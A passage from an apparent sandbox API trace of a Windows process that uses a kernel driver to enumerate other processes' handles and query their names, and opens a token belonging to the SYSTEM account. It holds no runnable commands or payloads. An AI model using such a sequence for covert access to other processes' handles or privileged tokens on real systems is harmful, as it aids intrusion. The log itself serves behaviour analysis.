nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0103.250] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.250] PsAcquireProcessExitSynchronization () returned 0x0 [0103.250] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0) [0103.250] ObReferenceObjectByHandle (in: Handle=0x14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800483e9b0, HandleInformation=0x0) returned 0x0 [0103.250] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.250] PsReleaseProcessExitSynchronization () returned 0x2 [0103.250] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0103.250] ObQueryNameString (in: Object=0xfffffa800483e9b0, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.250] ObfDereferenceObject (Object=0xfffffa800483e9b0) returned 0x1 [0103.250] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.250] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.250] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0103.250] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.250] PsAcquireProcessExitSynchronization () returned 0x0 [0103.250] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0) [0103.250] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8006dffbe0, HandleInformation=0x0) returned 0x0 [0103.250] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.250] PsReleaseProcessExitSynchronization () returned 0x2 [0103.250] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0103.250] ObQueryNameString (in: Object=0xfffffa8006dffbe0, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.250] ObfDereferenceObject (Object=0xfffffa8006dffbe0) returned 0x1 [0103.250] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.250] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.250] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0103.250] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.250] PsAcquireProcessExitSynchronization () returned 0x0 [0103.251] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0) [0103.251] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8006dffa90, HandleInformation=0x0) returned 0x0 [0103.251] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.251] PsReleaseProcessExitSynchronization () returned 0x2 [0103.251] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0103.251] ObQueryNameString (in: Object=0xfffffa8006dffa90, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.251] ObfDereferenceObject (Object=0xfffffa8006dffa90) returned 0x1 [0103.251] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.251] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.251] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0103.251] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.251] PsAcquireProcessExitSynchronization () returned 0x0 [0103.251] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0) [0103.251] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8006dff940, HandleInformation=0x0) returned 0x0 [0103.251] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.251] PsReleaseProcessExitSynchronization () returned 0x2 [0103.251] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0103.251] ObQueryNameString (in: Object=0xfffffa8006dff940, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.251] ObfDereferenceObject (Object=0xfffffa8006dff940) returned 0x1 [0103.251] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.251] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.251] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0103.251] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.251] PsAcquireProcessExitSynchronization () returned 0x0 [0103.251] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0) [0103.252] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8006dff7f0, HandleInformation=0x0) returned 0x0 [0103.252] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.252] PsReleaseProcessExitSynchronization () returned 0x2 [0103.252] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0103.252] ObQueryNameString (in: Object=0xfffffa8006dff7f0, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.252] ObfDereferenceObject (Object=0xfffffa8006dff7f0) returned 0x1 [0103.252] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.252] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.252] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0103.252] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.252] PsAcquireProcessExitSynchronization () returned 0x0 [0103.252] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0) [0103.252] ObReferenceObjectByHandle (in: Handle=0x28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8006dff6a0, HandleInformation=0x0) returned 0x0 [0103.252] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.252] PsReleaseProcessExitSynchronization () returned 0x2 [0103.252] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0103.252] ObQueryNameString (in: Object=0xfffffa8006dff6a0, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.252] ObfDereferenceObject (Object=0xfffffa8006dff6a0) returned 0x1 [0103.252] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.252] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.252] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.252] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.252] PsAcquireProcessExitSynchronization () returned 0x0 [0103.252] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff88004f095d0) [0103.252] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00029b610, HandleInformation=0x0) returned 0x0 [0103.252] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.253] PsReleaseProcessExitSynchronization () returned 0x2 [0103.253] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0103.253] ObQueryNameString (in: Object=0xfffff8a00029b610, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.253] ObfDereferenceObject (Object=0xfffff8a00029b610) returned 0x1 [0103.253] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.253] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.253] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x148) returned 0xc0 [0103.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0103.253] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002ef9060, HandleInformation=0x0) returned 0x0 [0103.253] ObOpenObjectByPointer (in: Object=0xfffffa8002ef9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000a44) returned 0x0 [0103.253] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x81 [0103.253] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a44, DesiredAccess=0x8, TokenHandle=0xfffffa8001a49b40 | out: TokenHandle=0xfffffa8001a49b40*=0xc8) returned 0x0 [0103.253] ZwClose (Handle=0xffffffff80000a44) returned 0x0 [0103.253] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.253] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0103.253] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0103.254] CloseHandle (hObject=0xc8) returned 1 [0103.255] CloseHandle (hObject=0xc0) returned 1 [0103.255] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0103.255] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.255] PsAcquireProcessExitSynchronization () returned 0x0 [0103.255] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.255] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002ef0860, HandleInformation=0x0) returned 0x0 [0103.255] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.255] PsReleaseProcessExitSynchronization () returned 0x2 [0103.255] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.255] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.255] ObfDereferenceObject (Object=0xfffffa8002ef0860) returned 0x1 [0103.255] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.255] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.255] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x36, lpOverlapped=0x0) returned 1 [0103.255] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.255] PsAcquireProcessExitSynchronization () returned 0x0 [0103.255] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.255] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a004a4c080, HandleInformation=0x0) returned 0x0 [0103.255] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.255] PsReleaseProcessExitSynchronization () returned 0x2 [0103.255] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.255] ObQueryNameString (in: Object=0xfffff8a004a4c080, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.255] ObfDereferenceObject (Object=0xfffff8a004a4c080) returned 0x2 [0103.255] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.255] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.255] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.255] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.255] PsAcquireProcessExitSynchronization () returned 0x0 [0103.256] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.256] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a004a076a0, HandleInformation=0x0) returned 0x0 [0103.256] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.256] PsReleaseProcessExitSynchronization () returned 0x2 [0103.256] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.256] ObQueryNameString (in: Object=0xfffff8a004a076a0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.256] ObfDereferenceObject (Object=0xfffff8a004a076a0) returned 0x1 [0103.256] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.256] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.256] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.256] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.256] PsAcquireProcessExitSynchronization () returned 0x0 [0103.256] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.256] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003050460, HandleInformation=0x0) returned 0x0 [0103.256] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.256] PsReleaseProcessExitSynchronization () returned 0x2 [0103.256] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.256] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.256] ObfDereferenceObject (Object=0xfffffa8003050460) returned 0x1 [0103.256] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.256] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.256] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.256] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.256] PsAcquireProcessExitSynchronization () returned 0x0 [0103.256] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.256] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089823f0, HandleInformation=0x0) returned 0x0 [0103.256] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.256] PsReleaseProcessExitSynchronization () returned 0x2 [0103.256] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.256] ObQueryNameString (in: Object=0xfffff8a0089823f0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.256] ObfDereferenceObject (Object=0xfffff8a0089823f0) returned 0x1 [0103.256] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.257] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.257] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.257] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.257] PsAcquireProcessExitSynchronization () returned 0x0 [0103.257] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.257] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a008985b00, HandleInformation=0x0) returned 0x0 [0103.257] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.257] PsReleaseProcessExitSynchronization () returned 0x2 [0103.257] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.257] ObQueryNameString (in: Object=0xfffff8a008985b00, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.257] ObfDereferenceObject (Object=0xfffff8a008985b00) returned 0x1 [0103.257] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.257] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.257] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.257] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.257] PsAcquireProcessExitSynchronization () returned 0x0 [0103.258] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.258] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a008972bc0, HandleInformation=0x0) returned 0x0 [0103.258] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.258] PsReleaseProcessExitSynchronization () returned 0x2 [0103.258] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.258] ObQueryNameString (in: Object=0xfffff8a008972bc0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.258] ObfDereferenceObject (Object=0xfffff8a008972bc0) returned 0x1 [0103.258] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.258] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.258] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 